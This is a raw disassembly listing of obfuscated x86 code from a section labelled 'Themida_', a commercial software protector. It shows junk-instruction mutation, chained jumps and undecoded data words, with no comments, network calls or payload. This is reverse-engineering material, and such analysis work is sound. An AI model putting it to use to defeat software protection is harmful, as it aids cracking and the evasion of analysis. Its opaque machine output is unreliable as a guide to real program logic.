--------------------------------------------------------------------------- loc_556CAD: ; CODE XREF: Themida_:00564BECj add esi, 0E3515CFh mov ecx, [esp] add esp, 4 jmp loc_563356 ; --------------------------------------------------------------------------- dw 2C89h dd 909BD24h, 4D4D128Dh, 67E9B951h, 0A4E978ADh, 810000E8h dd 4C3h, 4B85000h, 29000000h, 1C3358C3h, 241C3124h, 5C241C33h dd 24048F54h, 4240483h, 4C6815Eh, 0E9000000h, 0F5ACh, 0BE56525Dh dd 530B1780h, 22F0F681h, 4E46575Ah, 5622E681h, 0EE81384Ah dd 0B8A6F79Fh, 4672E9h, 4C68100h, 83000000h, 348704C6h dd 4C08E924h, 6D680000h, 8900007Eh, 74FF2434h, 34FF0424h dd 0CD6BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556D46: ; CODE XREF: Themida_:00557260j pop ebx jmp loc_561CCA ; --------------------------------------------------------------------------- dd 240C8B66h, 602468h, 24148900h, 24148B54h, 4C481h, 0C2810000h dd 4, 616268h, 93CBE900h, 0BB530000h, 41E4683Ch, 0FFDB93E9h dd 24048FFFh, 4240483h, 0D75EE9h, 74315D00h, 0FF5E0424h dd 69E92434h, 1000020h, 0B6EE81FEh, 5101D52Dh, 70BE2B9h dd 0E9D9F721h, 0EB59h, 2404FF53h, 83241C8Bh, 0C7E904C4h db 9Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_556DBB: ; CODE XREF: Themida_:0055A88Fj add edx, edi pop edi jmp loc_561B92 ; --------------------------------------------------------------------------- db 0B8h dd 7BB3339Ch, 8244401h, 24448158h, 5067D104h, 2444014Bh dd 0D1B85004h, 294B5067h, 58082444h, 339CBF57h, 7C297BB3h dd 0FF5F0824h, 48B2434h, 5F545724h, 179DB850h, 0D0F743DFh dd 8F6E948h, 680000h, 29000000h, 0E95A2414h, 0FFFFE6B2h dd 4C481h, 0D8290000h, 10D868h, 241C8900h, 4A5781BBh, 4E3C102h dd 0E903EBC1h, 0FFC9h ; --------------------------------------------------------------------------- loc_556E34: ; CODE XREF: Themida_:00560855j push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] add edi, 4 push edi jmp loc_558186 ; --------------------------------------------------------------------------- loc_556E53: ; CODE XREF: Themida_:00567A65j or edx, 187818E5h or edx, 345D3770h push edi jmp loc_566818 ; --------------------------------------------------------------------------- db 55h, 0BDh, 4 dd 1000000h, 0FF575DEFh, 8B042474h, 0C483243Ch, 24048F04h dd 0DA86E95Ch, 3B2FFFFh, 6604EAC0h, 5BE95153h db 8Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_556E8F: ; CODE XREF: Themida_:005674EAj pop edx or ch, 0Dh and ch, 26h push ebx jmp loc_553CDE ; --------------------------------------------------------------------------- dd 3D6168h, 24148900h, 8B2414F7h db 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_55958F ; --------------------------------------------------------------------------- loc_556EB8: ; CODE XREF: Themida_:005568B6j sub edx, 1600100h sub edi, 39A7774Eh jmp loc_56008A ; --------------------------------------------------------------------------- loc_556EC9: ; CODE XREF: Themida_:00563F89j push ebp push 856h mov [esp], ecx mov ecx, 47C660F4h xor [esp+4], ecx mov ecx, [esp] jmp loc_56788A ; --------------------------------------------------------------------------- db 8Bh dd 0F7662424h, 0A76866F9h, 14896655h, 9C506624h, 0FFF65CE9h db 0FFh ; --------------------------------------------------------------------------- loc_556EF9: ; CODE XREF: Themida_:0055FC58j pop eax push edx pop eax push dword ptr [esp] pop edx add esp, 4 mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 push eax mov eax, 4 jmp loc_55AEAF ; --------------------------------------------------------------------------- db 5Eh, 50h, 53h dd 7057B951h, 45BB4942h, 31583E15h, 0C38159CBh, 2F373228h dd 9736EB81h, 0EC8340B3h, 24148904h, 81525A53h, 169C2434h dd 35587E1Ch, 7E1C169Ch, 241C8B5Ah, 5E08950h, 4, 405h dd 24048700h, 0CE5BE9h, 73BA5200h, 81326E3Ch, 0ED3158F2h dd 0E9D02945h, 0F045h, 5C92E952h, 0E1810000h, 701E204Dh dd 0A4AEBE56h, 49E9167Fh, 0FF0000B1h, 68592434h, 7556h dd 4BB2E9h, 242C8900h, 0A9FBE950h, 0C0830000h, 24048704h dd 0FFC562E9h, 4C681FFh, 50000000h, 990EF6B8h, 6722D47h dd 0E8C11F5Eh, 34BF5708h, 8157213Dh, 2D1F8AF7h, 5FF80913h dd 2D182235h, 3E8C149h, 5FDB9105h, 0E9C601FEh, 0F231h ; --------------------------------------------------------------------------- loc_556FEC: ; CODE XREF: Themida_:0055AEDBj pop edx push ebx push edi jmp loc_555BB0 ; --------------------------------------------------------------------------- loc_556FF4: ; CODE XREF: Themida_:005558DCj or ecx, edx pop edx dec ecx jmp loc_55DC7C ; --------------------------------------------------------------------------- loc_556FFD: ; CODE XREF: Themida_:0055D7B1j pop ebx shl eax, 1 and eax, 744A0A86h jmp loc_555BE0 ; --------------------------------------------------------------------------- dw 0E289h dd 4C281h, 0EA830000h, 24148704h, 2404895Ch, 0E904EC83h dd 10A9Ch, 68243C89h, 3B78h, 83242489h, 0E9042404h, 930Eh dd 59C8895Dh, 0FC8C381h, 0C3017F20h, 0D261E952h, 1768FFFFh dd 0E9000069h, 0FFFFF3ACh, 8904EC83h, 0E952241Ch, 10855h dd 8037E580h, 70E973C5h, 29000034h, 3A1E9C6h, 3C8B0000h dd 6F9D6824h, 0C890000h, 81E18924h, 4C1h, 4C18100h, 87000000h dd 875C240Ch, 0C1E92404h, 5200001Bh, 0D1968h, 243C8900h dd 0E140D1BFh, 0BB535742h, 42E140D5h, 19F1E9h, 0E9CF8900h dd 109F7h, 7DE1E959h, 8B50000h, 9AEA80h, 9AC280EAh, 0EA805966h dd 9843E9F6h, 0D3F70000h, 0FB4EC381h, 0D989980Ch, 5AD1015Bh dd 8159CB31h, 1F7F86E3h, 0E6FDE90Bh, 8B66FFFFh, 41E9240Ch dd 66FFFFDBh, 22474FFh, 50E95B66h db 0ADh, 2 dup(0) ; --------------------------------------------------------------------------- loc_557103: ; CODE XREF: Themida_:0055315Cj mov dword ptr [edi+20h], 58625C8Dh sub [edi+20h], ebp pop ebp loc_55710E: ; CODE XREF: Themida_:loc_552BA2j ; Themida_:005667E7j push dword ptr [esp] push dword ptr [esp] pop ebx add esp, 4 sub esp, 4 jmp loc_555C14 ; --------------------------------------------------------------------------- db 0FFh dd 0C8B2434h, 4C48124h, 83000000h, 2C8904ECh, 83E58924h dd 3C8904ECh, 46824h, 15F0000h, 243C8BFDh, 0D6E9E9h, 83D90100h dd 1C8904ECh, 39FBB24h, 0E9817346h, 319C57B4h, 0B850D929h dd 19730116h, 0C435E940h, 0C580FFFFh, 0E3895316h, 0C526E9h dd 240C3300h, 10D9E9h, 0E9545C00h, 0C5DEh, 45C2E95Ah, 51660000h dd 0B668E99Ch, 0D1F7FFFFh, 0A9B7E9h, 24448100h, 87256904h dd 24442927h, 246C8104h, 87256904h, 47E95827h, 43FFFFB6h dd 412AEB81h, 0D8014E7Fh, 0FFDAA4E9h db 0FFh ; --------------------------------------------------------------------------- loc_5571C5: ; CODE XREF: Themida_:0055D416j mov esi, 4 jmp loc_56349F ; --------------------------------------------------------------------------- db 0B9h dd 3A66AEDh, 5559CA29h, 0E4428ABDh, 0E9EA3192h, 9C88h dd 0B8E9CB01h db 9Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5571EB: ; CODE XREF: Themida_:00553CEEj mov [esp], edi mov edi, esp add edi, 4 push ecx mov ecx, 4 add edi, ecx pop ecx jmp loc_55BA9F ; --------------------------------------------------------------------------- dd 40D86855h, 2C8B01EAh, 4C48324h, 3E5C145h, 1C0ABE56h dd 814E729Ah, 6467EDEEh, 0BB6CE962h, 1C8B0000h, 4C48324h dd 1BA3E9h, 4EC8300h, 54243C89h, 0E6B9515Fh, 501DCA79h dd 8B255F68h, 0C34BE93Dh, 0CF010000h, 207FE9h db 0 ; --------------------------------------------------------------------------- loc_557251: ; CODE XREF: Themida_:0055AA42j push 1F96h mov [esp], ebx mov ebx, 58180516h sub edx, ebx jmp loc_556D46 ; --------------------------------------------------------------------------- db 0BDh, 4, 0 dd 48E90000h db 39h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55726F: ; CODE XREF: Themida_:005673E1j push dword ptr [esp] pop ebp add esp, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] jmp loc_56715C ; --------------------------------------------------------------------------- loc_557287: ; CODE XREF: Themida_:00558AF1j not edi xchg edi, ebx not ebx sub ebx, 3F7F7DFCh push ebx mov ebx, 2E486DF8h shr ebx, 7 shl ebx, 6 dec ebx xor ebx, 6D4C764Fh add ebp, ebx pop ebx add ebp, ebx push 7FFAh mov [esp], edi jmp loc_5529E8 ; --------------------------------------------------------------------------- a34S8 db '34$é',0Dh,'8',0 align 10h dd 3B07C381h, 0D3015BF6h, 3B07EB81h, 815A5BF6h, 4C3h, 241C3300h dd 0E9241C31h, 9410h ; --------------------------------------------------------------------------- loc_5572E0: ; CODE XREF: Themida_:005529C1j push dword ptr [esp] pop eax add esp, 4 and ecx, edx mov edx, [esp] push 411Ah mov [esp], ecx jmp loc_56158F ; --------------------------------------------------------------------------- dd 815FFB01h, 4C3h, 0C54CE900h, 48FFFFFh, 24248B24h, 815A5452h dd 4C2h, 4EC8100h, 89000000h, 1BBE2434h, 0C1388F6Ah, 0B85008E6h dd 7095E504h, 0B02CE9h, 34FF5A00h, 0C4815A24h, 4, 4EC81h dd 3C890000h, 1EB8BF24h, 93E922E5h, 6600004Ch, 5724048Bh dd 0E951E789h, 0C09Ah, 0E924148Bh, 0C93Eh, 0E95052ACh dd 0E5F8h, 5519CFB8h, 1B862D31h, 0D0510EAh, 35692325h dd 0AC2A7513h, 89C78957h, 243C8BFAh, 4C481h, 0E9580000h dd 0F439h ; --------------------------------------------------------------------------- loc_557398: ; CODE XREF: Themida_:0055D6ACj push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 jmp loc_559990 ; --------------------------------------------------------------------------- loc_5573A9: ; CODE XREF: Themida_:0055C366j pop esi push 515Eh mov [esp], esi push esp jmp loc_55551A ; --------------------------------------------------------------------------- dd 42474FFh, 0EADEE9h, 4EC8100h, 89000000h, 17E9240Ch db 83h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5573CF: ; CODE XREF: Themida_:00564119j mov ebx, 62BA311Bh add ebx, 71316498h neg ebx shl ebx, 8 xor ebx, 376B1612h sub edi, 7E1074F5h sub edi, ebx add edi, 7E1074F5h pop ebx pop ecx shr edi, 7 jmp loc_56073C ; --------------------------------------------------------------------------- db 'µ!¶Ö',0 dw 8BEEh dd 0C483240Ch, 0A9B15104h, 0E7E9C9FEh, 8B000098h, 0ECE92404h db 0BFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55741B: ; CODE XREF: Themida_:0055FC92j mov edi, esi pop esi pop eax jmp loc_5547C7 ; --------------------------------------------------------------------------- dd 9C240408h, 8B01E9h, 4C48300h, 0FFE2DCE9h, 7E7C1FFh dd 1721E9h, 48D0F700h, 0EDE9E0D1h, 68000066h, 127Eh, 24048F54h dd 4240483h, 83241C8Bh, 0CE904C4h, 0D100001Dh, 1C283E2h dd 0E903EAC1h, 0BF1Fh, 4C281h, 14870000h, 392E924h, 22BF0001h dd 293AF645h, 0E95FFEh, 40000CAh, 18C4681Ch, 0C890000h dd 0C2E95224h, 29000007h, 5AD687F2h, 7277E9h, 2434FF00h dd 0A4A1E9h, 4A3A6800h, 0C890000h, 81E18924h, 4C1h, 79BA6800h dd 34890000h, 0A5FEE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5574C6: ; CODE XREF: Themida_:00555DF5j push ebp push eax jmp loc_555E98 ; --------------------------------------------------------------------------- db 8Bh, 34h, 24h dd 3203E9h, 33E95200h, 5E0000F4h, 31241433h, 14332414h dd 24248B24h, 592434FFh, 5E08950h, 4, 0C18BE9h, 0ED815D00h dd 0F8A360Ch, 0A5E9DDF7h, 8B00009Bh, 5457240Ch, 0DAC0E95Fh dd 48F0000h, 8883E924h, 0A0B60000h, 0F1C180h, 0F1E980F1h dd 0C1805A66h, 0E9CB00DDh, 0EFCBh ; --------------------------------------------------------------------------- loc_557530: ; CODE XREF: Themida_:005621D8j add edx, esi pop esi neg edx inc edx shl edx, 3 jmp loc_55DDE1 ; --------------------------------------------------------------------------- dw 0B951h dd 2EB9461Ch, 6859C831h, 40C8h, 0E9240489h, 7912h, 52243489h dd 0D52653BAh, 34685728h, 0E95FFA14h, 55A9h, 5AF3E955h dd 34890000h, 2474FF24h, 2434FF04h, 0E924348Bh, 8646h ; --------------------------------------------------------------------------- loc_557580: ; CODE XREF: Themida_:00556C40j push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] sar byte ptr [esp], cl pushf jmp loc_5527FE ; --------------------------------------------------------------------------- dd 9DE9D029h db 2 dup(1), 0 ; --------------------------------------------------------------------------- loc_55759B: ; CODE XREF: Themida_:00565366j pop edi xchg edx, esi not edx jmp loc_55DBF9 ; --------------------------------------------------------------------------- db 87h, 1Ch, 24h db '\h',9,'|',0 align 2 aSf db 'éäÄ',0 dw 8F00h dd 895C2404h, 3FBA2414h, 0D12C3E26h, 8EAC1E2h, 410CEA81h dd 0EA8107ABh, 0A49DF55Ah, 15AD001h, 45E62DF8h, 0BD55540Fh dd 1B3F1423h, 0E95DE829h, 0FFFFFA8Ah, 240C8B66h, 0F9AAE9h db 0 ; --------------------------------------------------------------------------- loc_5575F1: ; CODE XREF: Themida_:00556733j xor ebp, 12DF0A0Bh jmp loc_553426 ; --------------------------------------------------------------------------- dd 4BFh, 5FF88900h, 3685EF81h, 0C7014EC6h, 3685C781h, 1EE94EC6h db 6, 1, 0 ; --------------------------------------------------------------------------- loc_557617: ; CODE XREF: Themida_:0055B59Ej add esp, 4 xchg ebp, [esp] jmp loc_5598BC ; --------------------------------------------------------------------------- db 2Ch, 36h, 4 dd 28212C78h, 2C2104F8h, 66360478h, 182C5Bh, 41804C8h dd 2C5966DDh, 0D616E9ECh, 0ED81FFFFh, 7DB20CCAh, 0EF12E9h dd 514A5F00h, 3313BF57h, 0EFC12D4Fh, 42EF8107h, 813FDE32h dd 4F0398C7h, 5FF98986h, 40F4E9h, 0ED815900h, 4, 8B242C87h dd 24892424h, 24048324h, 230EE904h, 0EB810000h, 35B22F20h dd 5A92E9h db 0 ; --------------------------------------------------------------------------- loc_557695: ; CODE XREF: Themida_:00564F14j mov ebx, 68C3190Fh push edx push esi mov esi, 246C4C34h mov edx, offset byte_567731 inc edx jmp loc_55F539 ; --------------------------------------------------------------------------- dd 5995B850h, 0D90D1863h, 0D1198A76h, 0EB58E9E8h, 0BD55FFFFh dd 32E736C4h, 436EE9h db 0 ; --------------------------------------------------------------------------- loc_5576C9: ; CODE XREF: Themida_:005657DCj xor edi, esi pop esi xor edx, edi pop edi mov ecx, edx pop edx and eax, ecx pop ecx push dword ptr [edi+1Ch] push dword ptr [esp] push dword ptr [esp] pop ecx jmp loc_561010 ; --------------------------------------------------------------------------- dd 8052CA80h, 0D028B1F2h, 8124148Bh, 4C4h, 0E9F00000h dd 0B8E5h, 6C5BE948h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557702: ; CODE XREF: Themida_:0055C6F2j inc ebp or ebp, 400D004Eh and ebp, 69095198h sub ebp, 41094004h sub edi, 6F5736F2h jmp loc_563927 ; --------------------------------------------------------------------------- dd 0E9240487h, 2FFEh, 24348757h, 3487D6F7h, 0D7F75F24h dd 0F1DFC781h, 0FA31E44Dh, 9D03E9h, 0E9E68900h, 0FFFFBD02h ; --------------------------------------------------------------------------- loc_557748: ; CODE XREF: Themida_:0056053Bj mov [esp], ebx mov ebx, 7256331Dh add [esp+4], ebx pop ebx sub dword ptr [esp], 8A965A8h jmp loc_56088C ; --------------------------------------------------------------------------- loc_557761: ; CODE XREF: Themida_:0055A648j jmp loc_5527FE ; --------------------------------------------------------------------------- loc_557766: ; CODE XREF: Themida_:0056312Ej mov ebx, edx pop edx add eax, ebx pop ebx and eax, 4EC93C0Fh shr eax, 4 shr eax, 8 jmp loc_555584 ; --------------------------------------------------------------------------- dd 8904EC83h, 1DE9242Ch, 0BA000101h, 5DC67A00h, 0D577E953h dd 0CEBDFFFFh, 2974AE37h, 15B5DEEh, 24348BF0h, 0E9E18951h dd 0FFFFD8F1h, 53243489h, 478EE9h, 6F8F6800h, 3C890000h dd 4E646824h, 24890000h, 0EB7CE924h, 5C01FFFFh, 6C810424h dd 7D1A0424h, 34FF6FD0h, 21E95B24h db 35h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5577DB: ; CODE XREF: Themida_:005669ABj shl ebp, 3 sub ebp, 0FF5E1ACh jmp loc_559108 ; --------------------------------------------------------------------------- db 57h, 0E9h, 0E3h dd 0FF00001Fh, 0E9E92434h db 0BAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5577F7: ; CODE XREF: Themida_:0055E484j mov eax, 21576D15h mov ecx, 21576D15h xor ecx, eax pop eax add ecx, ebx xor eax, [ecx] pop ecx pop ebx push edx mov edx, 24h add edx, 349F33C8h add edx, edi jmp loc_5550B6 ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 68000000h, 5D36h, 0B9240C89h, 62C0747Ch, 4190BD55h dd 0E9216B20h, 83242C8Bh, 0CAE904C4h db 39h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557843: ; CODE XREF: Themida_:005545D6j mov ebx, 6F0C92C4h sub eax, ebx pop ebx push esi jmp loc_55FC90 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 0ED10DFBAh, 0A2F2815Ah, 316DDD7Bh, 837AE9D1h, 0EC810000h dd 4, 0B9240C89h, 4, 5659CE01h, 0FFFB3BE9h, 420D68FFh dd 0D583238h, 11C3F34h, 66E668h, 24148900h, 57A268h, 241C8900h dd 0A01C68BBh, 5DBCE90Eh, 5A5E0000h, 8904EC83h, 3FBD242Ch dd 812FBF48h, 1C5h, 0F2BB5300h, 0E973D036h, 0C755h, 66C8285Ch dd 57240C8Bh, 0BE56E789h, 3E97732Dh, 8904EC83h, 44BB241Ch dd 0E95D6421h, 6885h, 7C41BF57h, 0E7C126A3h, 2B2BE903h dd 0E0890000h, 405h, 4C08300h, 0FFFE23E9h, 4F5A68FFh, 56E90000h dd 4300003Ch, 0FE47BA52h, 0D301C0F3h, 0E679E9h db 0 ; --------------------------------------------------------------------------- loc_557915: ; CODE XREF: Themida_:00560BF0j mov edx, esp add edx, 4 push 3D8Ah mov [esp], esi mov esi, 4 sub edx, esi pop esi xchg edx, [esp] pop esp mov [esp], edx push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] mov esp, [esp] mov [esp], eax push ebx jmp loc_56139D ; --------------------------------------------------------------------------- loc_557952: ; CODE XREF: Themida_:005540DFj add esp, 2 jmp loc_566C40 ; --------------------------------------------------------------------------- dw 6CB9h dd 816C3642h, 0DD4440E9h, 0BD555627h, 3EAC093Eh, 0DC4C581h dd 50510ADBh, 0C189E889h, 8324048Bh, 6E904C4h, 810000D1h dd 4EBh, 241C8700h, 0C875E9h db 0 ; --------------------------------------------------------------------------- loc_557991: ; CODE XREF: Themida_:0056381Ej pop edx add edi, 78FCC357h xor esi, edi jmp loc_55F8C0 ; --------------------------------------------------------------------------- loc_55799F: ; CODE XREF: Themida_:0055D256j add edi, ecx jmp loc_55A3E4 ; --------------------------------------------------------------------------- aIusl db '‰ãé«Ö',0 dd 24048F00h, 8924248Bh, 0FD682414h, 8900005Ah, 0B9512404h dd 45082570h, 4244481h, 73E94A9Fh, 4244C29h, 38DFE9h db 0 ; --------------------------------------------------------------------------- loc_5579D5: ; CODE XREF: Themida_:0055B106j push 4 jmp loc_55333A ; --------------------------------------------------------------------------- db 0FFh dd 835F2434h, 0C8704C4h, 24248B24h, 0FFC954E9h, 24248BFFh dd 0BB241C89h, 44FB2FE9h, 15C2E381h, 0EBC16206h, 0E9525104h dd 0EC3h ; --------------------------------------------------------------------------- loc_557A0C: ; CODE XREF: Themida_:0056586Dj neg ebp sub ebp, 36F46AB3h xor ebp, 33DF0117h add edx, ebp pop ebp sub edx, 6BE1093Dh add edx, 591E129h add eax, edx pop edx sub eax, 4 push eax jmp loc_5620A4 ; --------------------------------------------------------------------------- db 0FFh dd 34FF3877h, 0EA40E924h, 34FFFFFFh, 40685824h, 0E9000078h dd 0BD56h, 24048B66h, 620F68h, 240C8900h, 754F68h, 48F5400h dd 4BB5324h, 81000000h, 0E7042444h, 0E942D757h, 0C7B7h dd 444AB951h, 0E1C10C0Ah, 2FE98102h, 815EA26Eh, 0A44CC6E9h dd 4E1C163h, 0E9575557h, 3BC1h, 5B88EC80h, 8B66E328h, 0C4832404h dd 70D26802h, 4890000h, 0A1F1E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557AB2: ; CODE XREF: Themida_:0055B839j mov edi, esp add edi, 4 jmp loc_56451B ; --------------------------------------------------------------------------- db 80h dd 0EE80BDF6h, 8BF3209Dh, 0C4812414h, 4, 8010B151h, 0E980CBE9h dd 7BE18098h, 0FFB68AE9h, 0D5315BFFh, 8BE8015Ah, 0C481242Ch dd 4, 0D218E9h db 0 ; --------------------------------------------------------------------------- loc_557AF5: ; CODE XREF: Themida_:00563468j sub esp, 4 mov [esp], ebp mov ebp, esp jmp loc_5651A4 ; --------------------------------------------------------------------------- aS_9 db '[é&¿',0 align 4 loc_557B08: ; CODE XREF: Themida_:00555811j sub ebp, 30DE0F28h push dword ptr [esp] pop edx add esp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] or ebx, ebx jnz loc_5667E3 push 16Fh mov [esp], edx push 1793h mov [esp], edi mov edi, 51052637h xor [esp+4], edi push dword ptr [esp] pop edi add esp, 4 pop dword ptr [edi+20h] push eax push 20h pop eax jmp loc_55456C ; --------------------------------------------------------------------------- aRAsc db 'RºÞ-ìAéç-',0 align 2 dw 0F129h dd 0FFC40DE9h db 0FFh ; --------------------------------------------------------------------------- loc_557B6D: ; CODE XREF: Themida_:00554D91j mov edx, [esp] push 51FBh mov [esp], ebp mov ebp, esp push esi mov esi, 4 jmp loc_5554F3 ; --------------------------------------------------------------------------- loc_557B85: ; CODE XREF: Themida_:0056775Dj mov eax, [esp] jmp loc_559461 ; --------------------------------------------------------------------------- align 2 dw 0E9F0h dd 9541h ; --------------------------------------------------------------------------- loc_557B94: ; CODE XREF: Themida_:0055337Bj mov edx, 0BB266E9h or edx, 6A965C4Eh not edx inc edx add edx, 3F504F82h sub edx, 917B6C66h add ecx, edx jmp loc_555546 ; --------------------------------------------------------------------------- loc_557BB5: ; CODE XREF: Themida_:00554A6Cj mov [esp], esp jmp loc_564B13 ; --------------------------------------------------------------------------- align 2 dw 66E3h dd 80DBF658h, 0D8002BF3h, 0E9F8005Bh, 52C5h, 1879E681h dd 0E6C15385h, 0A8F68106h, 147280Eh, 7AE95EF1h db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557BE7: ; CODE XREF: Themida_:00560C02j mov [esp], ebx jmp loc_562DB1 ; --------------------------------------------------------------------------- db 0FFh dd 815D240Ch, 9AA952F5h, 5DE929F3h, 9601E9h db 0 ; --------------------------------------------------------------------------- loc_557C01: ; CODE XREF: Themida_:00559001j push 18F1h mov [esp], ecx jmp loc_55896D ; --------------------------------------------------------------------------- dw 0E189h dd 56F0BB53h, 3EE94F61h db 0A0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557C1B: ; CODE XREF: Themida_:00559E88j push ebx mov ebx, 2C927662h mov ecx, 751565D4h shl ecx, 4 inc ecx not ecx neg ecx xor ecx, 7EFBF865h sub ecx, ebx pop ebx shl ecx, 1 push ecx xchg ecx, [esp] xchg ebx, ecx not ebx jmp loc_5629A8 ; --------------------------------------------------------------------------- loc_557C46: ; CODE XREF: Themida_:00556125j sub cl, 0FFh push dx jmp loc_555AC6 ; --------------------------------------------------------------------------- dd 0ED04662Ch, 9709E9h, 0B1D4B600h, 5AF13067h, 0BC68D9F6h dd 8900004Dh, 0ADE9241Ch, 5600003Ch, 9F3228BEh, 0E9F5890Fh dd 752Ch, 0EC83D301h, 24148904h, 6B2711BAh, 3E8BE97Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_557C8E: ; CODE XREF: Themida_:00554F66j push esp pop eax push edi mov edi, 4 add eax, edi pop edi sub esp, 4 mov [esp], ecx mov ecx, 4 add eax, ecx push dword ptr [esp] jmp loc_55934F ; --------------------------------------------------------------------------- dw 0C709h dd 8124048Bh, 4C4h, 4EC78100h, 0E90A3144h, 0FFFFB74Eh ; --------------------------------------------------------------------------- loc_557CC4: ; CODE XREF: Themida_:00560F48j pop ebp add edx, 7A6C0500h add edx, ebx sub edx, 7A6C0500h pop ebx xchg edx, [esp] mov esp, [esp] shr ecx, 6 push 7031h mov [esp], ebx push dword ptr [esp] pop eax push 0D70h mov [esp], eax push esp pop eax add eax, 4 push edi mov edi, 442337E3h jmp loc_566B2A ; --------------------------------------------------------------------------- db 0BAh dd 4, 0FFAEFFE9h, 604568FFh, 0C890000h, 89535524h, 4C381E3h dd 81000000h, 4EBh, 6FA6E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557D2A: ; CODE XREF: Themida_:0055EED2j pop esi jmp loc_55F08F ; --------------------------------------------------------------------------- loc_557D30: ; CODE XREF: Themida_:005668EAj mov ecx, 0FFFFFFFFh sub ebp, ecx pop ecx sub esp, 4 mov [esp], eax mov eax, 58523B94h dec eax xchg eax, edx jmp loc_5630F5 ; --------------------------------------------------------------------------- loc_557D4A: ; CODE XREF: Themida_:0055F7A3j mov ebx, 4 mov eax, ebx push dword ptr [esp] pop ebx add esp, 4 jmp loc_55AAAC ; --------------------------------------------------------------------------- dd 4240483h, 5724048Fh, 4BFh, 8C32E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557D72: ; CODE XREF: Themida_:0055D268j sub al, bh add al, 0F8h pop ebx jmp loc_567585 ; --------------------------------------------------------------------------- dd 8304C483h, 348904ECh, 815E5324h, 4ECh, 24048900h, 0BB53E089h dd 53B84782h, 4786BD55h, 0EB3153B8h, 26E52D5Dh, 0D8015418h dd 26E5B951h, 0D0E95418h db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_557DB3: ; CODE XREF: Themida_:00560823j add al, bl push ebx mov bl, 92h sub al, bl jmp loc_563BD0 ; --------------------------------------------------------------------------- db 31h dd 0F850E9CEh, 33E90000h, 81FFFFAAh, 76049BF6h, 4EC81CAh dd 0E9000000h, 0FFFFB22Ch, 7A9568h, 240C8900h, 0FFAA15E9h dd 4FC381FFh, 294E0077h, 3FDE9FBh db 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi mov esi, 4 jmp loc_5595C2 ; --------------------------------------------------------------------------- dd 4247C29h, 3054E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557E0E: ; CODE XREF: Themida_:0055B147j sub ecx, 0AA84E262h sub edx, ecx pop ecx add edx, ebx add edx, 5DFE49CEh jmp loc_555376 ; --------------------------------------------------------------------------- loc_557E24: ; CODE XREF: Themida_:0056517Aj mov [esp], esp add dword ptr [esp], 4 mov eax, [esp] add esp, 4 add eax, 4 sub esp, 4 mov [esp], ebx push ebp mov ebp, 5CBE59E4h jmp loc_55E528 ; --------------------------------------------------------------------------- db 81h, 0C3h, 4 dd 55000000h, 468h, 0EB015D00h, 241C875Dh, 0DFF0E95Ch dd 3166FFFFh, 0B4E9D6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557E6E: ; CODE XREF: Themida_:0055F59Cj push esp pop ebx push ebp mov ebp, 509E01C8h sub ebp, 509E01C4h add ebx, ebp pop ebp sub ebx, 4 jmp loc_55E4AE ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24148900h, 0D8A25468h, 2434FF65h, 8B2434FFh, 0C4832414h dd 36AE6804h, 14890000h, 0D901E924h, 34FFFFFFh, 24048B24h dd 5244E950h, 565B0000h, 6109E9h, 0FFC20100h, 53582434h dd 0E951E389h, 0FFFFAB5Eh, 33240C31h, 248B240Ch, 240CD324h dd 0A91CE99Ch, 9568FFFFh, 8900007Fh, 74FF242Ch, 2C8B0424h dd 4C48324h, 0FFC4F4E9h, 603468FFh, 3AE90EEAh, 83000017h dd 6F0904C4h, 0C504E91Ch, 3059FFFFh, 1C8B66FAh, 4753E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557F1A: ; CODE XREF: Themida_:0055B7F8j mov [esp], edx jmp loc_5585B9 ; --------------------------------------------------------------------------- dw 0EC83h dd 0BB49E902h, 0BF57FFFFh, 1, 23AEA81h, 0FA2949DDh, 23AC281h dd 0EE949DDh db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557F43: ; CODE XREF: Themida_:00567BC0j xchg ecx, [esp] pop esp sub esp, 4 mov [esp], esi push edx jmp loc_562D14 ; --------------------------------------------------------------------------- loc_557F56: ; CODE XREF: Themida_:00562547j add bl, cl add bl, 6Ah sub bl, 77h push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_553290 ; --------------------------------------------------------------------------- loc_557F6C: ; CODE XREF: Themida_:00564AFCj push ecx mov ecx, 718C1017h or esi, ecx jmp loc_566399 ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 87000000h, 0E95C243Ch, 7E3Bh, 4C481h, 6BE90000h, 5AFFFFA8h dd 88D4F65Bh, 48B66E1h, 8999E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557FA2: ; CODE XREF: Themida_:00564175j xor ebx, [esp] 